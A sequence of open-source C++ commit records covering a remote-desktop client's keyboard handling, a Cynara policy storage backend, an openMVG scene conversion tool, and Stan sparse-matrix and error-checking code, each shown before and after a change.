flags |= (isNumLockActivated() ? proto::KeyEvent::NUMLOCK : 0);
proto::KeyEvent key_event;
key_event.set_flags(flags);
auto it = pressed_keys_.begin();
while (it != pressed_keys_.end())
{
key_event.set_usb_keycode(*it);
delegate_->onKeyEvent(key_event);
it = pressed_keys_.erase(it);
}
}
QWidget::focusOutEvent(event);
}
void DesktopWidget::executeKeyEvent(uint32_t usb_keycode, uint32_t flags)
{
if (flags & proto::KeyEvent::PRESSED)
pressed_keys_.insert(usb_keycode);
else
pressed_keys_.erase(usb_keycode);
proto::KeyEvent event;
event.set_usb_keycode(usb_keycode);
event.set_flags(flags);
delegate_->onKeyEvent(event);
}
#if defined(OS_WIN)
// static
LRESULT CALLBACK DesktopWidget::keyboardHookProc(INT code, WPARAM wparam, LPARAM lparam)
{
if (code == HC_ACTION)
{
DesktopWidget* self = dynamic_cast<DesktopWidget*>(QApplication::focusWidget());
if (self)
{
KBDLLHOOKSTRUCT* hook = reinterpret_cast<KBDLLHOOKSTRUCT*>(lparam);
if (hook->vkCode != VK_CAPITAL && hook->vkCode != VK_NUMLOCK)
{
uint32_t flags = ((wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN) ?
proto::KeyEvent::PRESSED : 0);
flags |= (isCapsLockActivated() ? proto::KeyEvent::CAPSLOCK : 0);
flags |= (isNumLockActivated() ? proto::KeyEvent::NUMLOCK : 0);
uint32_t scan_code = hook->scanCode;
if (hook->flags & LLKHF_EXTENDED)
scan_code |= 0x100;
uint32_t usb_keycode =
common::KeycodeConverter::nativeKeycodeToUsbKeycode(scan_code);
if (usb_keycode != common::KeycodeConverter::invalidUsbKeycode())
{
self->executeKeyEvent(usb_keycode, flags);
return TRUE;
}
}
}
}
return CallNextHookEx(nullptr, code, wparam, lparam);
}
#endif // defined(OS_WIN)
} // namespace client
<|endoftext|>
|
<commit_before>/*
* Copyright (c) 2014 Samsung Electronics Co., Ltd All Rights Reserved
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* @file InMemoryStorageBackend.cpp
* @author Aleksander Zdyb <a.zdyb@partner.samsung.com>
* @version 1.0
* @brief Implementation of InMemoryStorageBackend
*/
#include "InMemoryStorageBackend.h"
namespace Cynara {
InMemoryStorageBackend::InMemoryStorageBackend() {
// Make sure, there's always default bucket
this->buckets().insert({ defaultPolicyBucketId, PolicyBucket() });
}
InMemoryStorageBackend::~InMemoryStorageBackend() {}
PolicyBucket InMemoryStorageBackend::searchDefaultBucket(const PolicyKey &key) {
return searchBucket(defaultPolicyBucketId, key);
}
PolicyBucket InMemoryStorageBackend::searchBucket(const PolicyBucketId &bucketId,
const PolicyKey &key) {
const auto &bucket = this->buckets().at(bucketId);
return bucket.filtered(key);
}
void InMemoryStorageBackend::insertPolicy(const PolicyBucketId &bucketId, PolicyPtr policy) {
try {
auto &bucket = buckets().at(bucketId);
auto &policies = bucket.policyCollection();
policies.push_back(policy);
} catch (const std::out_of_range &) {
throw BucketNotExistsException(bucketId);
}
}
void InMemoryStorageBackend::createBucket(const PolicyBucketId &bucketId,
const PolicyResult &defaultPolicy) {
PolicyBucket newBucket;
newBucket.setDefaultPolicy(defaultPolicy);
buckets().insert({ bucketId, newBucket });
}
void InMemoryStorageBackend::updateBucket(const PolicyBucketId &bucketId,
const PolicyResult &defaultPolicy) {
try {
auto &bucket = buckets().at(bucketId);
bucket.setDefaultPolicy(defaultPolicy);
} catch (const std::out_of_range &) {
throw BucketNotExistsException(bucketId);
}
}
void InMemoryStorageBackend::deleteBucket(const PolicyBucketId &bucketId) {
auto bucketErased = buckets().erase(bucketId);
if (bucketErased == 0) {
throw BucketNotExistsException(bucketId);
}
}
bool InMemoryStorageBackend::hasBucket(const PolicyBucketId &bucketId) {
return buckets().find(bucketId) != buckets().end();
}
void InMemoryStorageBackend::deletePolicy(const PolicyBucketId &bucketId, const PolicyKey &key) {
try {
// TODO: Move the erase code to PolicyCollection maybe?
auto &bucket = buckets().at(bucketId);
auto &policies = bucket.policyCollection();
policies.erase(remove_if(policies.begin(), policies.end(),
[key](PolicyPtr policy) -> bool {
return policy->key() == key;
}), policies.end());
} catch(const std::out_of_range &) {
throw BucketNotExistsException(bucketId);
}
}
void InMemoryStorageBackend::deleteLinking(const PolicyBucketId &bucketId) {
auto bucketIdMatches = [&bucketId] (PolicyPtr policy) -> bool {
auto policyResult = policy->result();
// Check bucket id only if policy is a bucket policy
// TODO: Maybe move the test to PolicyResult
if (policyResult.policyType() == PredefinedPolicyType::BUCKET) {
return policyResult.metadata() == bucketId;
}
return false;
};
for(auto &bucketIter : buckets()) {
// TODO: Move the erase code to PolicyCollection maybe?
auto &bucket = bucketIter.second;
auto &policies = bucket.policyCollection();
policies.erase(remove_if(policies.begin(), policies.end(), bucketIdMatches),
policies.end());
}
}
} /* namespace Cynara */
<commit_msg>Catch and throw more detailed exception, when bucket not found<commit_after>/*
* Copyright (c) 2014 Samsung Electronics Co., Ltd All Rights Reserved
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* @file InMemoryStorageBackend.cpp
* @author Aleksander Zdyb <a.zdyb@partner.samsung.com>
* @version 1.0
* @brief Implementation of InMemoryStorageBackend
*/
#include "InMemoryStorageBackend.h"
namespace Cynara {
InMemoryStorageBackend::InMemoryStorageBackend() {
// Make sure, there's always default bucket
this->buckets().insert({ defaultPolicyBucketId, PolicyBucket() });
}
InMemoryStorageBackend::~InMemoryStorageBackend() {}
PolicyBucket InMemoryStorageBackend::searchDefaultBucket(const PolicyKey &key) {
return searchBucket(defaultPolicyBucketId, key);
}
PolicyBucket InMemoryStorageBackend::searchBucket(const PolicyBucketId &bucketId,
const PolicyKey &key) {
try {
const auto &bucket = this->buckets().at(bucketId);
return bucket.filtered(key);
} catch (const std::out_of_range &) {
throw BucketNotExistsException(bucketId);
}
}
void InMemoryStorageBackend::insertPolicy(const PolicyBucketId &bucketId, PolicyPtr policy) {
try {
auto &bucket = buckets().at(bucketId);
auto &policies = bucket.policyCollection();
policies.push_back(policy);
} catch (const std::out_of_range &) {
throw BucketNotExistsException(bucketId);
}
}
void InMemoryStorageBackend::createBucket(const PolicyBucketId &bucketId,
const PolicyResult &defaultPolicy) {
PolicyBucket newBucket;
newBucket.setDefaultPolicy(defaultPolicy);
buckets().insert({ bucketId, newBucket });
}
void InMemoryStorageBackend::updateBucket(const PolicyBucketId &bucketId,
const PolicyResult &defaultPolicy) {
try {
auto &bucket = buckets().at(bucketId);
bucket.setDefaultPolicy(defaultPolicy);
} catch (const std::out_of_range &) {
throw BucketNotExistsException(bucketId);
}
}
void InMemoryStorageBackend::deleteBucket(const PolicyBucketId &bucketId) {
auto bucketErased = buckets().erase(bucketId);
if (bucketErased == 0) {
throw BucketNotExistsException(bucketId);
}
}
bool InMemoryStorageBackend::hasBucket(const PolicyBucketId &bucketId) {
return buckets().find(bucketId) != buckets().end();
}
void InMemoryStorageBackend::deletePolicy(const PolicyBucketId &bucketId, const PolicyKey &key) {
try {
// TODO: Move the erase code to PolicyCollection maybe?
auto &bucket = buckets().at(bucketId);
auto &policies = bucket.policyCollection();
policies.erase(remove_if(policies.begin(), policies.end(),
[key](PolicyPtr policy) -> bool {
return policy->key() == key;
}), policies.end());
} catch(const std::out_of_range &) {
throw BucketNotExistsException(bucketId);
}
}
void InMemoryStorageBackend::deleteLinking(const PolicyBucketId &bucketId) {
auto bucketIdMatches = [&bucketId] (PolicyPtr policy) -> bool {
auto policyResult = policy->result();
// Check bucket id only if policy is a bucket policy
// TODO: Maybe move the test to PolicyResult
if (policyResult.policyType() == PredefinedPolicyType::BUCKET) {
return policyResult.metadata() == bucketId;
}
return false;
};
for(auto &bucketIter : buckets()) {
// TODO: Move the erase code to PolicyCollection maybe?
auto &bucket = bucketIter.second;
auto &policies = bucket.policyCollection();
policies.erase(remove_if(policies.begin(), policies.end(), bucketIdMatches),
policies.end());
}
}
} /* namespace Cynara */
<|endoftext|>
|
<commit_before>// Copyright (c) 2015 Pierre MOULON.
// This Source Code Form is subject to the terms of the Mozilla Public
// License, v. 2.0. If a copy of the MPL was not distributed with this
// file, You can obtain one at http://mozilla.org/MPL/2.0/.
#include "openMVG/sfm/sfm.hpp"
#include "software/SfM/SfMPlyHelper.hpp"
#include "third_party/cmdLine/cmdLine.h"
#include "third_party/stlplus3/filesystemSimplified/file_system.hpp"
#include <string>
#include <vector>
using namespace openMVG;
using namespace openMVG::image;
using namespace openMVG::sfm;
/// Find the color of the SfM_Data Landmarks/structure
bool ColorizeTracks(
const SfM_Data & sfm_data,
std::vector<Vec3> & vec_3dPoints,
std::vector<Vec3> & vec_tracksColor)
{
// Colorize each track
// Start with the most representative image
// and iterate to provide a color to each 3D point
{
C_Progress_display my_progress_bar(sfm_data.GetLandmarks().size(),
std::cout,
"\nCompute scene structure color\n");
vec_tracksColor.resize(sfm_data.GetLandmarks().size());
vec_3dPoints.resize(sfm_data.GetLandmarks().size());
//Build a list of contiguous index for the trackIds
std::map<IndexT, IndexT> trackIds_to_contiguousIndexes;
IndexT cpt = 0;
for (Landmarks::const_iterator it = sfm_data.GetLandmarks().begin();
it != sfm_data.GetLandmarks().end(); ++it, ++cpt)
{
trackIds_to_contiguousIndexes[it->first] = cpt;
vec_3dPoints[cpt] = it->second.X;
}
// The track list that will be colored (point removed during the process)
std::set<IndexT> remainingTrackToColor;
std::transform(sfm_data.GetLandmarks().begin(), sfm_data.GetLandmarks().end(),
std::inserter(remainingTrackToColor, remainingTrackToColor.begin()),
stl::RetrieveKey());
while( !remainingTrackToColor.empty() )
{
// Find the most representative image (for the remaining 3D points)
// a. Count the number of observation per view for each 3Dpoint Index
// b. Sort to find the most representative view index
std::map<IndexT, IndexT> map_IndexCardinal; // ViewId, Cardinal
for (std::set<IndexT>::const_iterator
iterT = remainingTrackToColor.begin();
iterT != remainingTrackToColor.end();
++iterT)
{
const size_t trackId = *iterT;
const Observations & obs = sfm_data.GetLandmarks().at(trackId).obs;
for( Observations::const_iterator iterObs = obs.begin();
iterObs != obs.end(); ++iterObs)
{
const size_t viewId = iterObs->first;
if (map_IndexCardinal.find(viewId) == map_IndexCardinal.end())
map_IndexCardinal[viewId] = 1;
else
++map_IndexCardinal[viewId];
}
}
// Find the View index that is the most represented
std::vector<IndexT> vec_cardinal;
std::transform(map_IndexCardinal.begin(),
map_IndexCardinal.end(),
std::back_inserter(vec_cardinal),
stl::RetrieveValue());
using namespace stl::indexed_sort;
std::vector< sort_index_packet_descend< IndexT, IndexT> > packet_vec(vec_cardinal.size());
sort_index_helper(packet_vec, &vec_cardinal[0], 1);
// First image index with the most of occurence
std::map<IndexT, IndexT>::const_iterator iterTT = map_IndexCardinal.begin();
std::advance(iterTT, packet_vec[0].index);
const size_t view_index = iterTT->first;
const View * view = sfm_data.GetViews().at(view_index).get();
const std::string sView_filename = stlplus::create_filespec(sfm_data.s_root_path,
view->s_Img_path);
Image<RGBColor> image_rgb;
Image<unsigned char> image_gray;
const bool b_rgb_image = ReadImage(sView_filename.c_str(), &image_rgb);
if (!b_rgb_image) //try Gray level
{
const bool b_gray_image = ReadImage(sView_filename.c_str(), &image_gray);
if (!b_gray_image)
{
std::cerr << "Cannot open provided the image." << std::endl;
return false;
}
}
// Iterate through the remaining track to color
// - look if the current view is present to color the track
std::set<IndexT> set_toRemove;
for (std::set<IndexT>::const_iterator
iterT = remainingTrackToColor.begin();
iterT != remainingTrackToColor.end();
++iterT)
{
const size_t trackId = *iterT;
const Observations & obs = sfm_data.GetLandmarks().at(trackId).obs;
Observations::const_iterator it = obs.find(view_index);
if (it != obs.end())
{
// Color the track
const Vec2 & pt = it->second.x;
const RGBColor color = b_rgb_image ? image_rgb(pt.y(), pt.x()) : RGBColor(image_gray(pt.y(), pt.x()));
vec_tracksColor[ trackIds_to_contiguousIndexes[trackId] ] = Vec3(color.r(), color.g(), color.b());
set_toRemove.insert(trackId);
++my_progress_bar;
}
}
// Remove colored track
for (std::set<IndexT>::const_iterator iter = set_toRemove.begin();
iter != set_toRemove.end(); ++iter)
{
remainingTrackToColor.erase(*iter);
}
}
}
return true;
}
/// Export camera poses positions as a Vec3 vector
void GetCameraPositions(const SfM_Data & sfm_data, std::vector<Vec3> & vec_camPosition)
{
for (const auto & view : sfm_data.GetViews())
{
if (sfm_data.IsPoseAndIntrinsicDefined(view.second.get()))
{
const geometry::Pose3 pose = sfm_data.GetPoseOrDie(view.second.get());
vec_camPosition.push_back(pose.center());
}
}
}
// Convert from a SfM_Data format to another
int main(int argc, char **argv)
{
CmdLine cmd;
std::string
sSfM_Data_Filename_In,
sOutputPLY_Out;
cmd.add(make_option('i', sSfM_Data_Filename_In, "input_file"));
cmd.add(make_option('o', sOutputPLY_Out, "output_file"));
try {
if (argc == 1) throw std::string("Invalid command line parameter.");
cmd.process(argc, argv);
} catch(const std::string& s) {
std::cerr << "Usage: " << argv[0] << '\n'
<< "[-i|--input_file] path to the input SfM_Data scene\n"
<< "[-o|--output_file] path to the output PLY file\n"
<< std::endl;
std::cerr << s << std::endl;
return EXIT_FAILURE;
}
if (sOutputPLY_Out.empty())
{
std::cerr << std::endl
<< "No output PLY filename specified." << std::endl;
return EXIT_FAILURE;
}
// Load input SfM_Data scene
SfM_Data sfm_data;
if (!Load(sfm_data, sSfM_Data_Filename_In, ESfM_Data(ALL)))
{
std::cerr << std::endl
<< "The input SfM_Data file \"" << sSfM_Data_Filename_In << "\" cannot be read." << std::endl;
return EXIT_FAILURE;
}
// Compute the scene structure color
std::vector<Vec3> vec_3dPoints, vec_tracksColor, vec_camPosition;
if (ColorizeTracks(sfm_data, vec_3dPoints, vec_tracksColor))
{
GetCameraPositions(sfm_data, vec_camPosition);
// Export the SfM_Data scene in the expected format
if (plyHelper::exportToPly(vec_3dPoints, vec_camPosition, sOutputPLY_Out, &vec_tracksColor))
{
return EXIT_SUCCESS;
}
else
{
std::cerr << "Error while exporting to ply file format" << std::endl;
return EXIT_FAILURE;
}
}
else
{
std::cerr << "Error while trying to colorize the tracks" << std::endl;
return EXIT_FAILURE;
}
}
<commit_msg>[software] ComputeSfM color export to any supported format<commit_after>// Copyright (c) 2015 Pierre MOULON.
// This Source Code Form is subject to the terms of the Mozilla Public
// License, v. 2.0. If a copy of the MPL was not distributed with this
// file, You can obtain one at http://mozilla.org/MPL/2.0/.
#include "openMVG/sfm/sfm.hpp"
#include "third_party/cmdLine/cmdLine.h"
#include "third_party/stlplus3/filesystemSimplified/file_system.hpp"
#include <string>
#include <vector>
using namespace openMVG;
using namespace openMVG::image;
using namespace openMVG::sfm;
// Convert from a SfM_Data format to another
int main(int argc, char **argv)
{
CmdLine cmd;
std::string sSfM_Data_Filename_In;
std::string sOutput_file;
cmd.add(make_option('i', sSfM_Data_Filename_In, "input_file"));
cmd.add(make_option('o', sOutput_file, "output_file"));
try {
if (argc == 1) throw std::string("Invalid command line parameter.");
cmd.process(argc, argv);
} catch(const std::string& s) {
std::cerr << "Usage: " << argv[0] << '\n'
<< "[-i|--input_file] path to the input SfM_Data scene\n"
<< "[-o|--output_file] path to the output SfM_Data scene\n"
<< "\t .json, .bin, .xml, .ply, .baf"
#if HAVE_ALEMBIC
", .abc"
#endif
<< std::endl;
std::cerr << s << std::endl;
return EXIT_FAILURE;
}
if (sOutput_file.empty())
{
std::cerr << std::endl
<< "No output filename specified." << std::endl;
return EXIT_FAILURE;
}
// Load input SfM_Data scene
SfM_Data sfm_data;
std::cout << "Loading sfm data from " << sSfM_Data_Filename_In << "..." << std::endl;
if (!Load(sfm_data, sSfM_Data_Filename_In, ESfM_Data(ALL)))
{
std::cerr << std::endl
<< "The input SfM_Data file \"" << sSfM_Data_Filename_In << "\" cannot be read." << std::endl;
return EXIT_FAILURE;
}
std::cout << "Done!" << std::endl;
// Compute the scene structure color
if (!ColorizeTracks(sfm_data))
{
std::cerr << "Error while trying to colorize the tracks! Aborting..." << std::endl;
return EXIT_FAILURE;
}
// Export the SfM_Data scene in the expected format
std::cout << "Saving output result to " << sOutput_file << "..." << std::endl;
if (!Save(sfm_data, sOutput_file.c_str(), ESfM_Data(ALL)))
{
std::cerr << std::endl
<< "An error occured while trying to save \"" << sOutput_file << "\"." << std::endl;
return EXIT_FAILURE;
}
std::cout << "Done!" << std::endl;
return EXIT_SUCCESS;
}
<|endoftext|>
|
<commit_before>#ifndef STAN__MATH__MATRIX__SPARSE_MULTIPLY_HPP
#define STAN__MATH__MATRIX__SPARSE_MULTIPLY_HPP
#include <vector>
#include <boost/math/tools/promotion.hpp>
#include <stan/math/prim/mat/fun/Eigen.hpp>
namespace stan {
namespace math {
/** Return the multiplication of the sparse matrix spefcified by
* by values and indexing by the specified dense vector.
*
* The sparse matrix X of dimension m by n is represented by the
* vector w (of values), the integer array v (containing one-based
* row index of each value), the integer array u (containing
* one-based indexes of where each column starts in w), and the
* integer array z (containing the number of non-zero entries in
* each column of w).
*
* @tparam T1 Type of sparse matrix entries.
* @tparam T2 Type of dense vector entries.
* @param m Rows in matrix.
* @param n Columns in matrix.
* @param v One-based row index of each value.
* @param u one-based index of where each column starts in w.
* @param z number of non-zer entries in each column of w.
* @return dense vector for the product.
* @throw ... explain error conditions briefly ...
*/
template <typename T1, typename T2>
inline
Eigen::Matrix<typename boost::math::tools::promote_args<T1, T2>::type, Eigen::Dynamic, 1>
sparse_multiply(const int& m,
const int& n,
const Eigen::Matrix<T1, Eigen::Dynamic,1>& w,
const std::vector<int>& v,
const std::vector<int>& u,
const std::vector<int>& z,
const Eigen::Matrix<T2, Eigen::Dynamic,1>& b) {
// a whole bunch of error checking goes here, e.g., m, n > 0,
// etc. etc. we can't throw index out of bounds exceptions at
// run time
typedef typename boost::math::tools::promote_args<T1, T2>::type fun_scalar_t;
Eigen::Matrix<fun_scalar_t, Eigen::Dynamic, 1> y(m);
for (int j = 0; j < n; ++j) {
int end = u[j] + z[j] - 1;
for (int q = u[j] - 1; q < end; ++q)
y[v[q]] += w[q] * b[j];
}
return y;
}
/** Return the multiplication of the sparse matrix spefcified by
* by values and indexing by the specified dense vector.
*
* The sparse matrix X of dimension m by n is represented by the
* vector w (of values), the integer array v (containing one-based
* column index of each value), the integer array u (containing
* one-based indexes of where each row starts in w), and the
* integer array z (containing the number of non-zero entries in
* each row of w).
*
* @tparam T1 Type of sparse matrix entries.
* @tparam T2 Type of dense vector entries.
* @param m Rows in matrix.
* @param n Columns in matrix.
* @param v One-based column index of each value.
* @param u one-based index of where each row starts in w.
* @param z number of non-zero entries in each row of w.
* @return dense vector for the product.
* @throw ... explain error conditions briefly ...
*/
template <typename T1, typename T2>
inline
Eigen::Matrix<typename boost::math::tools::promote_args<T1, T2>::type, Eigen::Dynamic, 1>
sparse_multiply(const int& m,
const int& n,
const Eigen::Matrix<T1, Eigen::Dynamic,1>& w,
const std::vector<int>& v,
const std::vector<int>& u,
const std::vector<int>& z,
const Eigen::Matrix<T2, Eigen::Dynamic,1>& b) {
// a whole bunch of error checking goes here, e.g., m, n > 0,
// etc. etc. we can't throw index out of bounds exceptions at
// run time
typedef typename boost::math::tools::promote_args<T1, T2>::type fun_scalar_t;
Eigen::Matrix<fun_scalar_t, Eigen::Dynamic, 1> y(m);
for (int i = 0; i < m; ++i) {
// int start = u[i] - 2
int end = u[i] + z[i] - 1;
for (int q = u[i] - 1; q < end; ++q)
// Now this is the compressed row format version. FIXME:
// Modify to use dot product function. The pieces are:
// y[i] (easy)...
// w[start:end]
// b[v[start:end]] copied to a std::vector<double>...
y[i] += w[q] * b[v[q]];
}
return y;
}
}
}
#endif
<commit_msg>Compiling dot product version, tests next.<commit_after>#ifndef STAN__MATH__MATRIX__SPARSE_MULTIPLY_HPP
#define STAN__MATH__MATRIX__SPARSE_MULTIPLY_HPP
#include <vector>
#include <boost/math/tools/promotion.hpp>
#include <stan/math/prim/mat/fun/Eigen.hpp>
namespace stan {
namespace math {
/** Return the multiplication of the sparse matrix spefcified by
* by values and indexing by the specified dense vector.
*
* The sparse matrix X of dimension m by n is represented by the
* vector w (of values), the integer array v (containing one-based
* row index of each value), the integer array u (containing
* one-based indexes of where each column starts in w), and the
* integer array z (containing the number of non-zero entries in
* each column of w).
*
* @tparam T1 Type of sparse matrix entries.
* @tparam T2 Type of dense vector entries.
* @param m Rows in matrix.
* @param n Columns in matrix.
* @param v One-based row index of each value.
* @param u one-based index of where each column starts in w.
* @param z number of non-zer entries in each column of w.
* @return dense vector for the product.
* @throw ... explain error conditions briefly ...
*/
template <typename T1, typename T2>
inline
Eigen::Matrix<typename boost::math::tools::promote_args<T1, T2>::type, Eigen::Dynamic, 1>
sparse_multiply_csc(const int& m,
const int& n,
const Eigen::Matrix<T1, Eigen::Dynamic,1>& w,
const std::vector<int>& v,
const std::vector<int>& u,
const std::vector<int>& z,
const Eigen::Matrix<T2, Eigen::Dynamic,1>& b) {
// a whole bunch of error checking goes here, e.g., m, n > 0,
// etc. etc. we can't throw index out of bounds exceptions at
// run time
typedef typename boost::math::tools::promote_args<T1, T2>::type fun_scalar_t;
Eigen::Matrix<fun_scalar_t, Eigen::Dynamic, 1> y(m);
for (int j = 0; j < n; ++j) {
int end = u[j] + z[j] - 1;
for (int q = u[j] - 1; q < end; ++q)
y(v[q]) += w[q] * b(j);
}
return y;
}
/** Return the multiplication of the sparse matrix spefcified by
* by values and indexing by the specified dense vector.
*
* The sparse matrix X of dimension m by n is represented by the
* vector w (of values), the integer array v (containing one-based
* column index of each value), the integer array u (containing
* one-based indexes of where each row starts in w), and the
* integer array z (containing the number of non-zero entries in
* each row of w).
*
* @tparam T1 Type of sparse matrix entries.
* @tparam T2 Type of dense vector entries.
* @param m Rows in matrix.
* @param n Columns in matrix.
* @param v One-based column index of each value.
* @param u one-based index of where each row starts in w.
* @param z number of non-zero entries in each row of w.
* @return dense vector for the product.
* @throw ... explain error conditions briefly ...
*/
template <typename T1, typename T2>
inline
Eigen::Matrix<typename boost::math::tools::promote_args<T1, T2>::type, Eigen::Dynamic, 1>
sparse_multiply_csr(const int& m,
const int& n,
const Eigen::Matrix<T1, Eigen::Dynamic,1>& w,
const std::vector<int>& v,
const std::vector<int>& u,
const std::vector<int>& z,
const Eigen::Matrix<T2, Eigen::Dynamic,1>& b) {
// a whole bunch of error checking goes here, e.g., m, n > 0,
// etc. etc. we can't throw index out of bounds exceptions at
// run time
typedef typename boost::math::tools::promote_args<T1, T2>::type fun_scalar_t;
Eigen::Matrix<fun_scalar_t, Eigen::Dynamic, 1> y(m);
Eigen::Matrix<T2,Eigen::Dynamic,1> b_sub(n);
for (int i = 0; i < m; ++i) {
int end = u[i] + z[i] - 1;
int p = 0;
for (int q = u[i]-1; q < end; ++q) {
b_sub(p) = b(v[q]);
++p;
}
y(i) = dot_product(w.segment(u[i]-1,z[i]),b_sub.segment(0,p-1));
}
return y;
}
}
}
#endif
<|endoftext|>
|
<commit_before>#ifndef __STAN__PROB__DISTRIBUTIONS_ERROR_HANDLING_HPP__
#define __STAN__PROB__DISTRIBUTIONS_ERROR_HANDLING_HPP__
#include <boost/math/policies/policy.hpp>
#include "stan/agrad/agrad.hpp"
namespace stan {
namespace prob {
// reimplementing: #include <boost/math/distributions/detail/common_error_handling.hpp>
template <typename T_x, typename T_result, class Policy>
inline bool check_x(
const char* function,
const T_x& x,
T_result* result,
const Policy& pol) {
if (!(boost::math::isfinite)(x)) {
*result = boost::math::policies::raise_domain_error<T_x>(function,
"Random variate x is %1%, but must be finite!",
x, pol);
return false;
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
}
template <typename T_result, class Policy>
inline bool check_x(
const char* function,
const stan::agrad::var& x,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(x.val())) {
*result = boost::math::policies::raise_domain_error<double>(function,
"Random variate x is %1%, but must be finite!", x.val(), pol);
return false;
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
} // bool check_x
template <typename T_x, typename T_result, class Policy>
inline bool check_x(
const char* function,
const std::vector<T_x>& x,
T_result* result,
const Policy& pol) {
for (int i = 0; i < x.size(); i++) {
if (!(boost::math::isfinite)(x[i])) {
*result = boost::math::policies::raise_domain_error<T_x>(function,
"Random variate x is %1%, but must be finite!",
x[i], pol);
return false;
}
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
}
template <typename T_result, class Policy>
inline bool check_x(
const char* function,
const std::vector<stan::agrad::var>& x,
T_result* result,
const Policy& pol) {
for (int i = 0; i < x.size(); i++) {
if (!(boost::math::isfinite)(x[i].val())) {
*result = boost::math::policies::raise_domain_error<double>(function,
"Random variate x is %1%, but must be finite!",
x[i].val(), pol);
return false;
}
return true;
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
} // bool check_x
template <typename T_x, typename T_result, class Policy>
inline bool check_x(
const char* function,
const Eigen::Matrix<T_x,Eigen::Dynamic,1>& x,
T_result* result,
const Policy& pol) {
for (int i = 0; i < x.rows(); i++) {
if (!(boost::math::isfinite)(x[i])) {
*result = boost::math::policies::raise_domain_error<T_x>(function,
"Random variate x is %1%, but must be finite!",
x[i], pol);
return false;
}
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
}
template <typename T_result, class Policy>
inline bool check_x(
const char* function,
const Eigen::Matrix<stan::agrad::var,Eigen::Dynamic,1>& x,
T_result* result,
const Policy& pol) {
for (int i = 0; i < x.rows(); i++) {
if (!(boost::math::isfinite)(x[i].val())) {
*result = boost::math::policies::raise_domain_error<double>(function,
"Random variate x is %1%, but must be finite!",
x[i].val(), pol);
return false;
}
return true;
}
return true;
// Note that this test catches both infinity and NaN.
// Some special cases permit x to be infinite, so these must be tested 1st,
// leaving this test to catch any NaNs. see Normal and cauchy for example.
} // bool check_x
template <typename T_scale, typename T_result, class Policy>
inline bool check_scale(
const char* function,
const T_scale& scale,
T_result* result,
const Policy& pol) {
if((scale <= 0) || !(boost::math::isfinite)(scale)) { // Assume scale == 0 is NOT valid for any distribution.
*result = boost::math::policies::raise_domain_error<T_scale>(
function,
"Scale parameter is %1%, but must be > 0 !", scale, pol);
return false;
}
return true;
}
template <typename T_result, class Policy>
inline bool check_scale(
const char* function,
const stan::agrad::var& scale,
T_result* result,
const Policy& pol)
{
if((scale <= 0) || !(boost::math::isfinite)(scale.val())) { // Assume scale == 0 is NOT valid for any distribution.
*result = boost::math::policies::raise_domain_error<double>(
function,
"Scale parameter is %1%, but must be > 0 !", scale.val(), pol);
return false;
}
return true;
}
template <typename T_location, typename T_result, class Policy>
inline bool check_location(
const char* function,
const T_location& location,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(location)) {
*result = boost::math::policies::raise_domain_error<T_location>(
function,
"Location parameter is %1%, but must be finite!", location, pol);
return false;
}
return true;
}
template <typename T_result, class Policy>
inline bool check_location(
const char* function,
const stan::agrad::var& location,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(location.val()))
{
*result = boost::math::policies::raise_domain_error<double>(
function,
"Location parameter is %1%, but must be finite!", location.val(), pol);
return false;
}
return true;
}
template <typename T_bound, typename T_result, class Policy>
inline bool check_lower_bound(
const char* function,
const T_bound& lb,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(lb)) {
*result = boost::math::policies::raise_domain_error<T_bound>(
function,
"Lower bound is %1%, but must be finite!", lb, pol);
return false;
}
return true;
}
template <typename T_result, class Policy>
inline bool check_lower_bound(
const char* function,
const stan::agrad::var& lb,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(lb.val()))
{
*result = boost::math::policies::raise_domain_error<double>(
function,
"Lower bound is %1%, but must be finite!", lb.val(), pol);
return false;
}
return true;
}
template <typename T_bound, typename T_result, class Policy>
inline bool check_upper_bound(
const char* function,
const T_bound& ub,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(ub)) {
*result = boost::math::policies::raise_domain_error<T_bound>(
function,
"Upper bound is %1%, but must be finite!", ub, pol);
return false;
}
return true;
}
template <typename T_result, class Policy>
inline bool check_upper_bound(
const char* function,
const stan::agrad::var& ub,
T_result* result,
const Policy& pol) {
if(!(boost::math::isfinite)(ub.val()))
{
*result = boost::math::policies::raise_domain_error<double>(
function,
"Upper bound is %1%, but must be finite!", ub.val(), pol);
return false;
}
return true;
}
template <typename T_lb, typename T_ub, typename T_result, class Policy>
inline bool check_bounds(
const char* function,
const T_lb& lower,
const T_ub& upper,
T_result* result,
const Policy& pol) {
if (false == check_lower_bound(function, lower, result, pol))
return false;
if (false == check_upper_bound(function, upper, result, pol))
return false;
if (lower >= upper) {
*result = boost::math::policies::raise_domain_error<T_lb>(function,
"lower parameter is %1%, but must be less than upper!", lower, pol);
return false;
